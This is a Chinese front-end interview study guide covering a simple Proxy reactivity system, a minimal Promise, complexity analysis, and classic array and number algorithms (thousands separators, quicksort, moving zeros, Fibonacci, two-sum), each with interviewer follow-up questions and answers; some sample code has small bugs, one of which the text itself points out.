这个简化版响应式的核心是用 Proxy 拦截读写,用 effect 收集并触发依赖函数。 effect 先把回调保存到 activeFn 并执行一次,读取属性时触发 get,从而把回调加入 Set。写入属性时,set 会遍历集合并重新执行这些回调;遇到嵌套对象,则在读取时继续调用 reactive,属于懒递归。需要注意,这只是基本原理演示,所有依赖共用一个集合,没有按对象和属性做精细区分。

// 简单实现

var fns = new Set()
var activeFn

function reactive(obj) {
  return new Proxy(obj, {
    get(target, key, receiver) {
      const res = Reflect.get(target,key,receiver) // 相当于target[key]

      // 懒递归 取值才执行
      if(typeof res === 'object' && res != null) {
        return reactive(res)
      }

      if(activeFn) fns.add(activeFn)

      return res
    },
    set(target,key, value, receiver) {
      fns.forEach(fn => fn()) // 触发effect订阅的回调函数的执行
      return Reflect.set(target, key, value, receiver)
    }
  })
}

function effect(fn) {
  activeFn = fn
  fn() // 执行一次去取值,触发proxy get
}
// 测试

var user = reactive({name: 'poetries',info:{age: 18}})
effect(() => {console.log('name', user.name)})
// 修改属性,自动触发effect内部函数执行
user.name = '张三'
// user.info.age = 10 // 修改深层次对象
setTimeout(()=>{ user.name = '李四'}) 

💬 面试官追问

  • 商品详情页同时渲染用户名和库存,修改 user.name 后两个 effect 都重新执行;按这段代码的依赖收集方式,为什么会出现这种现象?

    这里用单个全局 Set 保存所有副作用,没有按 target 和 key 区分依赖,因此任意属性写入都会触发全部 effect。应改成 WeakMap<target, Map<key, Set<effect>>>,在 get 中精确收集、在 set 中按键触发;否则状态越多,无关重算越明显。

  • 管理后台有多个 effect,其中一个执行结束后再读取普通业务数据,结果该读取也被订阅了;你会怎样修正 activeFn 的生命周期?

    当前 effect 执行后没有清空 activeFn,后续任何代理读取都可能误收集最后一个副作用。执行前保存旧值,并用 try...finally 在结束后恢复;若允许嵌套 effect,还需要副作用栈,否则内层执行会覆盖外层上下文。

  • 表单页读取 user.info 两次得到两个不同代理,团队又要求对象引用稳定并支持深层更新,你会改动哪一层实现?

    深层属性确实会在取值时递归代理,但当前每次 get 都重新调用 reactive(res),引用稳定性无法保证。可用 WeakMap 缓存原对象到代理的映射,并在代理前判断对象是否已处理;代价是实现复杂度增加,还要谨慎处理数组和内建对象。

  • 线上日志显示执行 user.name = '张三' 时,副作用仍打印旧名字,随后也没有第二次更新;沿这段 set 代码你会先查哪里?

    应先检查触发与写入的先后顺序,因为代码在 Reflect.set 之前遍历执行副作用,副作用重新读取时仍可能拿到旧值。应先完成写入并确认成功,再触发对应依赖;还要避免值未变化时重复触发,以及副作用修改同一属性造成递归执行。

  • 数据看板连续同步上百个字段,产品要求一次批量更新只渲染一次;保留同步触发还是增加调度队列,你如何取舍?

    同步触发实现简单且结果即时,但这份实现会让每次赋值立即遍历全局副作用,批量写入时产生大量重复执行。可把待执行的 effect 放入去重队列,并在微任务中统一刷新;代价是更新不再同步可见,依赖即时结果的代码需要明确刷新边界。

  • 权限切换后,渲染函数从读取 user.name 改为读取 user.info.age,旧字段再次变化仍触发渲染;这与条件依赖和清理机制有什么关系?

    副作用重新执行时依赖分支可能变化,但单纯向 Set 追加不会移除旧依赖,所以 name 仍会触发已经不再读取它的渲染。应记录每个 effect 所属的依赖集合,重跑前逐一清理再重新收集;清理期间还要复制触发集合,避免遍历时增删导致重复执行。

# 实现一个简洁版的promise

⚡ 30 秒速记

  • 先说明“实现一个简洁版的promise”的核心结论,再结合正文示例解释实现与边界

简洁版 Promise 的核心是维护状态、结果值和两组回调,并通过 resolve、reject 驱动状态变化。 初始状态为 pending,状态只能确定一次;调用 then 时若仍在等待,就暂存成功和失败回调,否则直接执行对应回调。执行传入函数时要用 try...catch 捕获异常并转为拒绝状态。这个实现只覆盖基本状态流转和回调调用,没有继续实现链式返回等完整能力。

// 三个常量用于表示状态
const PENDING = 'pending'
const RESOLVED = 'resolved'
const REJECTED = 'rejected'

function MyPromise(fn) {
    const that = this
    this.state = PENDING

    // value 变量用于保存 resolve 或者 reject 中传入的值
    this.value = null

    // 用于保存 then 中的回调,因为当执行完 Promise 时状态可能还是等待中,这时候应该把 then 中的回调保存起来用于状态改变时使用
    that.resolvedCallbacks = []
    that.rejectedCallbacks = []


    function resolve(value) {
         // 首先两个函数都得判断当前状态是否为等待中
        if(that.state === PENDING) {
            that.state = RESOLVED
            that.value = value

            // 遍历回调数组并执行
            that.resolvedCallbacks.map(cb=>cb(that.value))
        }
    }
    function reject(value) {
        if(that.state === PENDING) {
            that.state = REJECTED
            that.value = value
            that.rejectedCallbacks.map(cb=>cb(that.value))
        }
    }

    // 完成以上两个函数以后,我们就该实现如何执行 Promise 中传入的函数了
    try {
        fn(resolve,reject)
    }cach(e){
        reject(e)
    }
}

// 最后我们来实现较为复杂的 then 函数
MyPromise.prototype.then = function(onFulfilled,onRejected){
  const that = this

  // 判断两个参数是否为函数类型,因为这两个参数是可选参数
  onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : v=>v
  onRejected = typeof onRejected === 'function' ? onRejected : e=>throw e

  // 当状态不是等待态时,就去执行相对应的函数。如果状态是等待态的话,就往回调函数中 push 函数
  if(this.state === PENDING) {
      this.resolvedCallbacks.push(onFulfilled)
      this.rejectedCallbacks.push(onRejected)
  }
  if(this.state === RESOLVED) {
      onFulfilled(that.value)
  }
  if(this.state === REJECTED) {
      onRejected(that.value)
  }
}

💬 面试官追问

  • 在支付页里,执行器同步调用两次 resolve,随后又调用 reject,这份 MyPromise 最终会触发哪些回调,为什么?

    只有第一次 resolve 会生效,后续 resolve 和 reject 都会因状态不再是 PENDING 而被忽略。状态机保证结果只能从等待态单向迁移,但当前实现尚未处理传入值本身是 Promise 或 thenable 的情况。

  • 接口请求完成前,业务代码连续注册三个 then,请求随后成功,这份实现怎样保证三个成功回调都执行?

    等待态下,每次 then 都把回调加入 resolvedCallbacks,resolve 后按注册顺序遍历执行。数组能支持一对多订阅,但回调是同步触发的,与原生 Promise 的微任务时序不同,依赖异步顺序的页面代码可能出现行为差异。

  • 组件代码写成 request().then(parse).then(render),当前 then 返回 undefined,你会怎样补齐链式调用?

    then 必须返回一个新的 MyPromise,并用前一个回调的返回值决定新 Promise 的状态。普通值应直接兑现,抛出的异常应拒绝;若返回 Promise 或 thenable,还要接管其最终结果,并防止新 Promise 解析为自身。

  • 线上只看到 Promise 一直处于 pending,执行器内部明明抛了异常,你检查源码时会先盯哪一处?

    先检查执行器外层的异常捕获,示例中的 cach 是语法错误,正确写法应为 catch 并调用 reject(e)。修正后还要区分同步抛错和异步回调内抛错,后者不会被构造函数外层的 try...catch 捕获。

  • 同事主张为了轻量直接在线上替换原生 Promise,你会如何评估这份实现?

    这份实现适合展示状态、回调队列和一次性决议,不足以直接替换原生 Promise。它缺少标准的异步回调调度、值解析过程、链式返回与更完整的异常传播;生产环境应优先使用原生实现,手写版本只用于受控教学或实验。

  • 用户离开上传页后调用了 reject,为什么底层上传仍可能继续,应该把取消能力放在哪里?

    reject 只改变 Promise 的状态并通知拒绝回调,不会自动终止已经启动的上传任务。取消能力应由底层任务提供,例如接收 AbortSignal,页面卸载时主动中止;Promise 负责表达结果,不能替代资源清理机制。

# 14 算法题

# 时间复杂度与空间复杂度基本概念

⚡ 30 秒速记

  • 程序执行需要的计算量和内存空间

时间复杂度衡量算法执行所需的计算量,空间复杂度衡量执行过程中占用的内存空间。 它们描述的是数据规模增长时的数量级,并不是某次运行的具体耗时或字节数,通常用于分析一个明确的算法。比如单次属性访问是 O(1),单层循环通常是 O(n),双层循环是 O(n²),二分过程是 O(logn)。空间上,固定数量变量可看作 O(1),额外空间随输入增长则是 O(n)。

什么是复杂度

  • 程序执行需要的计算量和内存空间
  • 复杂度是数量级(方便记忆推广)不是具体的数字
  • 一般针对一个具体的算法,而非一个完整的系统

时间复杂度-程序执行时需要的计算量(CPU)

  • O(n)一次就够(数量级)
  • O(n)和传输的数据一样(数量级)
  • O(n^2)数据量的平方(数量级)
  • O(logn)数据量的对数(数量级)
  • O(n*logn)数据量*数据量的对数(数量级)
function fn1(obj) {
  // O(1)
  return obj.a + obj.b
}

function fn2(arr) {
  // O(n)
  for(let i = 0;i<arr.length;i++) {
    // 一层for循环
  }
}

function fn3(arr) {
  // O(n^2)
  for(let i = 0;i<arr.length;i++) {
    for(let j = 0;i<arr.length;j++) {
      // 二层for循环
    }
  }
}

function fn4(arr) {
  // 二分 O(logn)
  for() {

  }
}

空间复杂度-程序执行时需要的内存空间

  • O(1)有限的、可数的空间(数量级)
  • O(n)和输入的数据量相同的空间(数量级)

💬 面试官追问

  • 列表页只有一层 for,循环里却对数组执行一次线性查找,同事仍标成 O(n),你会怎样纠正?

    不能只按可见循环层数判断;若每轮都执行一次随输入增长的线性查找,总计算量通常是 O(n^2)。复杂度分析要把循环体内操作展开,同时明确查找对象的规模是否也随 n 增长。

  • 搜索页要处理十万条记录,两个方案分别是 O(n) 扫描和建立 O(n) 额外索引,你会要求团队补充哪些判断?

    先确认查询次数、内存预算和数据更新频率;一次性查询可能直接扫描更合适,重复查询才可能值得用额外空间换时间。大 O 只描述增长数量级,不代表具体耗时,还需要在目标数据规模和运行环境下测量。

  • 数据规模固定不超过二十条,但 O(n^2) 写法更直观,评审人坚持必须改成 O(n log n),你支持谁?

    在输入上限稳定且很小的前提下,O(n^2) 未必构成实际瓶颈,可读性和常数开销也应纳入选择。仍需把上限写进约束并保留测试;一旦规模可能增长,平方级计算量会更快放大,应重新评估。

  • 监控显示页面 CPU 飙升但内存平稳,代码同时有嵌套遍历和一个与输入等长的临时数组,你怎么定位主因?

    CPU 症状优先检查嵌套遍历是否形成 O(n^2),临时数组主要体现为 O(n) 空间占用。用输入规模分组测量耗时和内存增长,再通过性能剖析确认热点,不能仅凭复杂度符号断定具体故障点。

  • 架构评审中,一个方案耗时 O(n log n)、空间 O(n),另一个耗时 O(n^2)、空间 O(1),该怎样做取舍?

    选择取决于输入规模、响应时间目标和可用内存,没有脱离约束的固定答案。数据较大且延迟敏感时通常更重视时间数量级;内存严格受限时可能接受更多计算,但必须验证最坏输入不会造成不可接受的长任务。

# 实现数字千分位格式化

⚡ 30 秒速记

  • 将数字千分位格式化,输出字符串

千分位格式化本质上是从数字末尾开始,每隔三位插入一个逗号,并返回字符串。 例如 13050100 应得到 13,050,100,因为分组方向是从右向左,不能直接从开头计数。实现时可以反转数组、使用正则,或者直接操作字符串;我一般更倾向字符串方案,能减少数据结构转换。示例只考虑整数,因此会先用 Math.floor() 处理输入,小数等情况需要另行约定。

  • 将数字千分位格式化,输出字符串
  • 如输入数字13050100输出13,050,100
  • 注意:逆序判断(从后往前判断)

思路分析

  • 转化为数组,reverse,每三位拆分
  • 使用正则表达式
  • 使用字符串拆分

性能分析

  • 使用数组,转化影响性能
  • 使用正则表达式,性能较差
  • 使用字符串性能较好,推荐答案

划重点

  • 顺序,从尾到头
  • 尽量不要转化数据结构
  • 慎用正则表达式,性能较慢
/**
 * 千分位格式化(使用数组)
 * @param n number
 */
function format1(n) {
  n = Math.floor(n) // 只考虑整数

  const s = n.toString() // 13050100
  const arr = s.split('').reverse() // 反转数组逆序判断,从尾到头 00105031
  return arr.reduce((prev, val, index) => {
    // 分析
    // index = 0   prev = ''           val = '0'      return '0'
    // index = 1   prev = '0'          val = '0'      return '00'
    // index = 2   prev = '00'         val = '1'      return '100'
    // index = 3   prev = '100'        val = '0'      return '0,100'
    // index = 4   prev = '0,100'      val = '5'      return '50,100'
    // index = 5   prev = '50,100'     val = '0'      return '050,100'
    // index = 6   prev = '050,100'    val = '3'      return '3,050,100'
    // index = 7   prev = '3,050,100'  val = '1'      return '13,050,100'
    if (index % 3 === 0) { //每隔三位加一个逗号
      if (prev) {
        return val + ',' + prev 
      } else {
        return val
      }
    } else {
      return val + prev
    }
  }, '')
}

获取1-10000之前所有的对称数(回文数)

  • 求1-10000之间所有的对称数(回文)
  • 例如:0,1,2,11,22,101,232,1221...

思路分析

  • 思路1:使用数组反转比较
    • 数字转为字符串,在转为数组
    • 数组reverse,在join为字符串
    • 前后字符串进行对比
    • 看似是O(n),但数组转换、操作都需要时间,所以慢
  • 思路2:字符串前后比较
    • 数字转为字符串
    • 字符串头尾字符比较
    • 思路2 vs 思路3,直接操作数字更快
  • 思路3:生成翻转数
    • 使用%和Math.floor()生成翻转数
    • 前后数字进行对比
    • 全程操作数字,没有字符串类型

总结

  • 尽量不要转换数据结构,尤其是数组这种有序结构
  • 尽量不要用内置API,如reverse等不好识别复杂度
  • 数字操作最快,其次是字符串
/**
 * 查询 1-max 的所有对称数(数组反转)
 * @param max 最大值
 */
function findPalindromeNumbers1(max) {
  const res = []
  if (max <= 0) return res

  for (let i = 1; i <= max; i++) {
    // 转换为字符串,转换为数组,再反转,比较
    const s = i.toString()
    if (s === s.split('').reverse().join('')) { // 反过来看是否和之前的一样就是回文
      res.push(i)
    }
  }

  return res
}

💬 面试官追问

  • 报表页输入 13050100 要显示为 13,050,100,有人从左侧每三位插逗号,为什么遇到八位数会错?

    千分位分组必须以个位为基准从右向左进行,从左侧固定计数会受总位数余数影响。可直接在字符串上逆序判断分隔位置,避免为了反转而转换成数组;当前题设只要求处理整数。

  • 大屏表格要批量格式化大量整数,数组反转、正则和字符串遍历三种实现,你会优先提交哪一种?

    按题目给出的性能取向,应优先直接操作字符串并从尾到头分组,减少 split、reverse、join 等数据结构转换。正则写法虽短,但这里不作为性能优先方案;最终仍应在真实批量规模下验证,而不是虚构固定差距。

  • 产品临时要求金额保留两位小数并支持负数,现有代码先执行 Math.floor(n),还能直接沿用吗?

    不能直接沿用,Math.floor 会丢失小数,并且对负数是向负无穷方向取整,语义可能偏离金额展示。应先明确舍入规则,再拆分符号、整数部分和小数部分,只对整数部分从右向左添加分隔符。

  • 线上出现 1000 正常、1000000 偶尔多一个前导逗号,你会怎样检查手写循环?

    重点检查插入条件是否排除了最高位之前和空结果,通常应只在已经累积了三位且左侧仍有字符时添加逗号。用 0、三位数、四位数、六位数和七位数覆盖分组边界,逐步打印索引与累积字符串定位偏移。

  • 同事建议生产环境统一手写格式化,另一位建议用平台国际化能力,你如何处理选型冲突?

    题目中的手写字符串方案适合证明逆序分组与复杂度意识,但生产选型还要考虑地区分隔符、负数和小数规则。若存在国际化需求,应优先采用标准格式化能力;手写方案更可控,却需要团队自行承担完整边界和一致性测试。

  • 回文数题也在比较数组反转、字符串头尾比较和纯数字翻转,它与千分位题共同考查什么?

    两题都在考查是否能避免不必要的数据结构转换,并选择贴近数据特征的遍历方向。千分位适合字符串从尾部处理,回文判断还可用头尾比较或数字翻转;具体选择应同时说明可读性、复杂度和输入边界。

# 实现快速排序并说明时间复杂度

⚡ 30 秒速记

  • 找到中间位置midValue

这个简洁版快速排序会选取中间元素作为基准,把较小元素放入 left,其余元素放入 right,再递归排序并用 concat 合并。 每一层需要遍历当前数组,同时递归拆分,因此原文给出的时间复杂度是 O(nlogn)。取基准时可以用 splice,但它会修改原数组;也可以用 slice 保留原数组,遍历时需要跳过基准下标。实际选择时要明确是否允许修改输入,避免调用方拿到被改变的数据。

思路分析

  • 找到中间位置midValue
  • 遍历数组,小于midValue放在left,否则放在right
  • 继续递归,最后concat拼接返回
  • 使用splice会修改原数组,使用slice不会修改原数组(推荐)
  • 一层遍历+二分的时间复杂度是O(nlogn)

快速排序(使用 splice)

/**
 * 快速排序(使用 splice)
 * @param arr:number[] number arr
 */
function quickSort1(arr) {
  const length = arr.length
  if (length === 0) return arr

  // 获取中间的数
  const midIndex = Math.floor(length / 2)
  const midValue = arr.splice(midIndex, 1)[0] // splice会修改原数组,传入开始位置和长度是1

  const left = []
  const right = []

  // 注意:这里不用直接用 length ,而是用 arr.length 。因为 arr 已经被 splice 给修改了
  for (let i = 0; i < arr.length; i++) {
    const n = arr[i]
    if (n < midValue) {
      // 小于 midValue ,则放在 left
      left.push(n)
    } else {
      // 大于 midValue ,则放在 right
      right.push(n)
    }
  }

  return quickSort1(left).concat([midValue], quickSort1(right))
}

快速排序(使用 slice)

/**
 * 快速排序(使用 slice)
 * @param arr number arr
 */
function quickSort2(arr) {
  const length = arr.length
  if (length === 0) return arr

  // 获取中间的数
  const midIndex = Math.floor(length / 2)
  const midValue = arr.slice(midIndex, midIndex + 1)[0] // 使用slice不会修改原数组,传入开始位置和结束位置

  const left = []
  const right = []

  for (let i = 0; i < length; i++) {
    if (i !== midIndex) { // 这里要忽略掉midValue
      const n = arr[i]
      if (n < midValue) {
        // 小于 midValue ,则放在 left
        left.push(n)
      } else {
        // 大于 midValue ,则放在 right
        right.push(n)
      }
    }
  }

  return quickSort2(left).concat([midValue], quickSort2(right))
}
// 功能测试
const arr1 = [1, 6, 2, 7, 3, 8, 4, 9, 5]
console.info(quickSort2(arr1))
// 性能测试

// 快速排序(使用 splice)
const arr1 = []
for (let i = 0; i < 10 * 10000; i++) {
  arr1.push(Math.floor(Math.random() * 1000))
}
console.time('quickSort1')
quickSort1(arr1)
console.timeEnd('quickSort1') // 74ms

// 快速排序(使用 slice)
const arr2 = []
for (let i = 0; i < 10 * 10000; i++) {
  arr2.push(Math.floor(Math.random() * 1000))
}
console.time('quickSort2')
quickSort2(arr2)
console.timeEnd('quickSort2') // 82ms

💬 面试官追问

  • 排序服务收到一批已经升序的数据,候选人声称任何快速排序都稳定是 O(n log n),你会怎样追问他的结论?

    O(n log n) 只能作为划分较均衡时的典型分析,快速排序的表现取决于基准选择和输入分布。若每次划分极不均衡,递归深度与比较次数都可能显著增加,因此不能把典型复杂度当作无条件保证。

  • 表格页排序后还要继续使用原始数组,quickSort1 与 quickSort2 中你会选哪份提交,理由是什么?

    应选使用 slice 读取中间值的 quickSort2,因为它不会像 splice 那样删除原数组元素。两份实现仍会创建 left、right 和拼接结果,属于额外分配较多的非原地方案,需要把内存代价说清楚。

  • 百万级数据里重复值很多,当前代码把所有等于 midValue 的元素都放进 right,可能出现什么问题?

    大量重复值会让划分明显偏斜,因为除基准外的相等元素全部进入同一侧,递归树可能失衡。可考虑把结果划分为小于、等于和大于基准的三组;这会增加实现分支和临时存储,但能改善重复值场景。

  • 线上排序偶发栈溢出,小数组测试全部通过,你会从递归结构和输入数据两边怎样排查?

    先记录输入长度、重复值比例和每层 left、right 的规模,确认是否连续产生极端不均衡划分。再检查终止条件及递归深度;若数据规模不可控,可改进基准策略或使用显式栈,但不同实现的最坏情况仍需单独评估。

  • 性能评审中,产品只关心响应时间,基础库维护者更关心是否修改输入数组,这两个目标如何兼顾?

    先把语义约束定清:若调用方必须保留原数组,就不能用会删除元素的 splice 版本换取局部速度。随后在相同输入上比较实现,同时记录耗时和额外内存;示例中的一次测试结果不能推广为所有引擎与数据分布的结论。

  • 快速排序里“一层遍历加递归二分”与二分查找的 O(log n) 有什么本质差异?

    二分查找每层只进入一个子区间,因此均衡条件下层数是 log n,每层工作近似常数。快速排序每层要遍历当前各子区间,合计约 n,再乘约 log n 层得到典型的 O(n log n)。

# 将数组中的0移动到末尾

⚡ 30 秒速记

  • 如输入 [1,0,3,0,11,0] 输出 [1,3,11,0,0,0]

我会用双指针在原数组中移动元素,把所有 0 放到末尾,同时保持其他元素的相对顺序。 让 j 指向第一个 0,i 继续向后寻找非 0,找到后交换两者并移动 j。这样只需遍历一次,时间复杂度是 O(n)。如果没有原地操作限制,也可以分别收集非 0 和 0 后合并,但会占用额外空间;使用 splice 反复删除则会退化到 O(n^2)。

  • 如输入 [1,0,3,0,11,0] 输出 [1,3,11,0,0,0]
  • 只移动0其他顺序不变
  • 必须在原数组进行操作

如果不限制“必须在原数组进行操作”

  • 定义part1,part2两个数组
  • 遍历数组,非0 push到part1,0 push到part2
  • 返回合并part1.concat(part2)

思路分析

  • 嵌套循环:传统思路
    • 遇到0 push到数组末尾
    • 用splice截取当前元素
    • 时间复杂度是O(n^2) 算法基本不可用(splice移动数组元素复杂度是O(n),for循环遍历数组复杂度是O(n),整体是O(n^2))
    • 数组是连续存储空间,要慎用shift、unshift、splice等API
  • 双指针方式:解决嵌套循环的一个非常有效的方式
    • 定义j指向第一个0,i指向j后面的第一个非0
    • 交换i和j的值,继续向后移动
    • 只遍历一次,所以时间复杂度是O(n)

移动 0 到数组的末尾(嵌套循环)

/**
 * 移动 0 到数组的末尾(嵌套循环)
 * @param arr:number[] number arr
 */
function moveZero1(arr) {
  const length = arr.length
  if (length === 0) return

  let zeroLength = 0

  // 时间复杂度O(n^2)
  // ![](https://s.poetries.top/uploads/2023/01/2d09248cdc2c26ae.png)
  for (let i = 0; i < length - zeroLength; i++) {
    if (arr[i] === 0) {
      arr.push(0) // 放到结尾
      arr.splice(i, 1) // 在i的位置删除一个元素 splice本身就有 O(n) 复杂度
      // [1,0,0,0,1,0] 截取了0需要把i重新回到1的位置
      i-- // 数组截取了一个元素,i 要递减,否则连续 0 就会有错误
      zeroLength++ // 累加 0 的长度
    }
  }
}

移动 0 到数组末尾(双指针)

/**
 * 移动 0 到数组末尾(双指针)
 * @param arr:number[] number arr
 */
function moveZero2(arr) {
  const length = arr.length
  if (length === 0) return

  // ![](https://s.poetries.top/uploads/2023/01/d2ae2e0f5f41368b.png)
  // [1,0,0,1,1,0] j指向0 i指向j后面的第一个非0(1),然后j和i交换位置,同时移动指针
  let i // i指向j后面的第一个非0
  let j = -1 // 指向第一个 0,索引未知先设置为-1

  for (i = 0; i < length; i++) {
    // 第一个 0
    if (arr[i] === 0) {
      if (j < 0) {
        j = i // j一开始指向第一个0,后面不会执行这里了
      }
    }

    // arr[i]不是0的情况
    if (arr[i] !== 0 && j >= 0) {
      // 交换数值
      const n = arr[i] // 临时变量,指向非0的值
      arr[i] = arr[j] // 把arr[j]指向0的值交换给arr[i]
      arr[j] = n // 把arr[i]指向非0的值交换给arr[j]

      j++ // 指针向后移动
    }
  }
}
// 功能测试
const arr = [1, 0, 3, 4, 0, 0, 11, 0]
moveZero2(arr)
console.log(arr)
// 性能测试

// 移动 0 到数组的末尾(嵌套循环)
const arr1 = []
for (let i = 0; i < 20 * 10000; i++) {
  if (i % 10 === 0) {
    arr1.push(0)
  } else {
    arr1.push(i)
  }
}
console.time('moveZero1')
moveZero1(arr1)
console.timeEnd('moveZero1') // 262ms

// 移动 0 到数组末尾(双指针)
const arr2 = []
for (let i = 0; i < 20 * 10000; i++) {
  if (i % 10 === 0) {
    arr2.push(0)
  } else {
    arr2.push(i)
  }
}
console.time('moveZero2')
moveZero2(arr2)
console.timeEnd('moveZero2') // 3ms

// 结论:双指针方式优于嵌套循环方式

💬 面试官追问

  • 订单数组是 [1,0,3,0,11,0],有人先排序得到 [0,0,0,1,3,11],为什么不符合页面需求?

    需求不仅是集中 0,还要求它们移动到末尾并保持其他元素的原有顺序,排序同时破坏了位置和稳定性。正确结果应为 [1,3,11,0,0,0],判断实现时必须同时验证原地修改和相对顺序。

  • 数据看板一次处理二十万项,循环里遇到 0 就执行 splice 再 push,你为什么会阻止合并?

    splice 删除中间元素会搬移后续连续存储的数据,单次操作可能是 O(n),套在线性遍历中整体可达 O(n^2)。双指针只遍历一次并在原数组交换,时间复杂度为 O(n),更符合大数组场景。

  • 产品把规则从“只移动数值 0”改成“移动所有假值”,现有 arr[i] === 0 能否简单换成 !arr[i]?

    语法上能改,但语义会扩大到 false、空字符串、null、undefined 和 NaN,可能误移有效业务值。应先让产品确认目标集合,再把判定封装成明确谓词;约束变化后仍要验证非目标元素的相对顺序。

  • 线上发现输入 [1,0,0,1,1,0] 处理后仍残留一个中间 0,你会优先检查哪个指针动作?

    先检查 j 是否只在首次遇到 0 时初始化,以及每次与后续非零值交换后是否执行了 j++。连续 0 最容易暴露索引跳过问题,可逐轮记录 i、j 和数组;若使用 splice 版本,还要检查删除后是否执行 i--。

  • 同事提出创建两个新数组再拼接,代码比双指针短;在基础库评审里你如何取舍?

    题设明确要求在原数组操作,因此双数组方案即使清晰也不满足接口约束,并会引入 O(n) 额外空间。若业务取消原地要求,分区后拼接可以作为可读性方案;双指针则以更复杂的索引管理换取原地和一次遍历。

  • 这道题的双指针与删除数组元素时谨慎使用 shift、unshift、splice 有什么关联?

    数组采用连续存储,中间或头部增删通常需要移动一段元素,因此表面上的单个 API 调用并不等于 O(1)。双指针通过覆盖或交换已有位置避免反复搬移,把嵌套代价压成一次线性扫描,但仍需维护稳定顺序。

# 求斐波那契数列的第n值

⚡ 30 秒速记

  • 计算斐波那契数列的第n值

斐波那契数列满足 f(n) = f(n - 1) + f(n - 2),工程上我会用循环保存前两项来计算第 n 项。 递归写法直观,但会重复计算大量子问题,时间复杂度达到 O(2^n),n 较大时很慢,甚至可能崩溃。循环从第 2 项开始逐步更新结果,时间复杂度降为 O(n)。边界上,n <= 0 返回 0,n === 1 返回 1。

  • 计算斐波那契数列的第n值
  • 注意时间复杂度

分析

  • f(0) = 0
  • f(1) = 1
  • f(n) = f(n - 1) + f(n - 2) 结果=前一个数+前两个数 0 1 1 2 3 5 8 13 21 34 ...

1. 斐波那契数列(递归)

  • 递归,大量重复计算,时间复杂度O(2^n),n越大越慢可能崩溃,完全不可用

/**
 * 斐波那契数列(递归)时间复杂度O(2^n),n越大越慢可能崩溃
 * @param n:number n
 */
function fibonacci(n) {
  if (n <= 0) return 0
  if (n === 1) return 1

  return fibonacci(n - 1) + fibonacci(n - 2)
}
// 功能测试
console.log(fibonacci(10)) // 55
// 如果是递归的话n越大 可能会崩溃

拓展-动态规划

  • 把一个大问题拆为一个小问题,逐级向下拆解 f(n) = f(n - 1) + f(n - 2)
  • 用递归的思路去分析问题,再改为循环来实现
  • 算法三大思维:贪心、二分、动态规划

2. 拓展:青蛙跳台阶

  • 一只青蛙,一次可跳一级,也可跳两级
  • 请问:青蛙一次跳上n级台阶,有多少种方式

用动态归还分析问题

  • f(1) = 1 一次跳一级
  • f(2) = 2 一次跳二级
  • f(n) = f(n - 1) + f(n - 2) 跳n级

3. 斐波那契数列(循环)

  • 不用递归,用循环
  • 记录中间结果
  • 优化后时间复杂度O(n)
/**
 * 斐波那契数列(循环)
 * @param n:number n
 */
function fibonacci(n) {
  if (n <= 0) return 0
  if (n === 1) return 1

  // ![](https://s.poetries.top/uploads/2023/01/c61bb6c51c6263cf.png)
  let n1 = 1 // 记录 n-1 的结果
  let n2 = 0 // 记录 n-2 的结果
  // n1、n2整体往后移动
  let res = 0 // 记录当前累加结果

  // 从2开始才能计算和相加 0 1是固定的
  for (let i = 2; i <= n; i++) {
    res = n1 + n2 // 计算当前结果

    // 记录中间结果,下一次循环使用
    n2 = n1 // 更新n2的值为n1的 往后移动累加
    n1 = res // n1是累加的结果
  }

  return res
}
// 功能测试
console.log(fibonacci(10)) // 55
// 不会导致崩溃

💬 面试官追问

  • 候选人在算法题页面直接提交递归版 fibonacci(50),小用例都通过,但评测进程长时间无响应;你判断问题出在哪里,为什么不是把递归深度调大就能解决?

    瓶颈是递归版会反复计算相同子问题,时间复杂度达到 O(2^n),输入增大后计算量急剧膨胀。调大递归深度只能缓解调用栈限制,不能消除重复计算;应改为循环保存前两项,将时间复杂度降为 O(n)、额外空间维持常量级。

  • 业务页面需要连续展示 fibonacci(0)、fibonacci(1) 和 fibonacci(2),新同事的循环从 i = 1 开始,结果依次变成 0、1、2;你会如何定位这个边界错误?

    先按定义核对基线:f(0)=0、f(1)=1、f(2)=1,循环只能从尚未确定的第 2 项开始计算。初始化应令前两项分别为 0 和 1,每轮计算当前值后再整体后移;若循环起点或更新顺序改变,就容易重复累加或覆盖旧值。

  • 前端表单允许用户输入负数、小数和空值,却直接调用当前 fibonacci(n);产品认为都返回 0 就行,算法负责人认为这会掩盖脏数据,你会怎样定接口契约?

    当前实现把 n <= 0 统一映射为 0,只能说明它对非正输入采取了宽松兜底,不能证明负数和小数具有业务含义。工程上应在调用前限定 n 为非负整数,并明确非法值是报错还是返回约定值;继续静默返回 0 会让输入故障与合法的 f(0) 无法区分。

  • 监控显示计算组件在输入较大 n 时卡顿,代码看起来已经改成 for 循环;你作为值班开发会检查哪些代码现象,才能确认不是披着循环外壳的重复计算?

    先确认循环体只读取并更新 n1、n2 和当前结果,没有在每轮再次调用 fibonacci(n-1) 或从头计算历史项。再用递增输入观察耗时趋势,并检查循环边界是否为 2 到 n;循环仍嵌套递归或保存全部无用中间结果时,复杂度与空间优势都会被削弱。

  • 面试官把题目改成青蛙每次跳一级或两级,候选人坚持直接复用 fibonacci(n);当页面要求 n=1 有 1 种、n=2 有 2 种时,这个复用为什么会错,怎样保留递推思路?

    两题共享 f(n)=f(n-1)+f(n-2) 的递推关系,但初始条件不同,直接复用会把台阶数的 f(2) 算成斐波那契的 1。应保留循环推进方式,将基线改为 f(1)=1、f(2)=2;递推式相同不代表函数语义和边界条件相同。

# 给一个数组,找出其中和为n的两个元素(两数之和)

⚡ 30 秒速记

  • 有一个递增数组[1,2,4,7,11,15]和一个n=15

对于递增数组,我会用首尾双指针寻找和为 n 的两个元素,整体时间复杂度是 O(n)。 每次计算 arr[i] + arr[j]:结果偏大就让右指针左移,偏小就让左指针右移,相等时直接返回这两个数。本质上是利用数组已有的递增顺序排除不可能的区间,比嵌套循环的 O(n^2) 更合适。需要注意,这种移动规则依赖数组有序;空数组或没有匹配项时返回空结果。

  • 有一个递增数组[1,2,4,7,11,15]和一个n=15
  • 数组中有两个数,和是n。即4 + 11 = 15
  • 写一个函数,找出这两个数

思路分析

  • 嵌套循环,找到一个数,然后去遍历下一个数,求和判断,时间复杂度是 O(n^2) 基本不可用
  • 双指针方式,时间复杂度降低到O(n)
    • 定义i指向头
    • 定义j指向尾
    • 求arr[i] + arr[j]的和,如果大于n,则j向前移动j--,如果小于n,则i向后移动i++
  • 优化嵌套循环,可以考虑双指针

寻找和为 n 的两个数(嵌套循环)

/**
 * 寻找和为 n 的两个数(嵌套循环)
 * @param arr arr:number[]
 * @param n n:number
 */
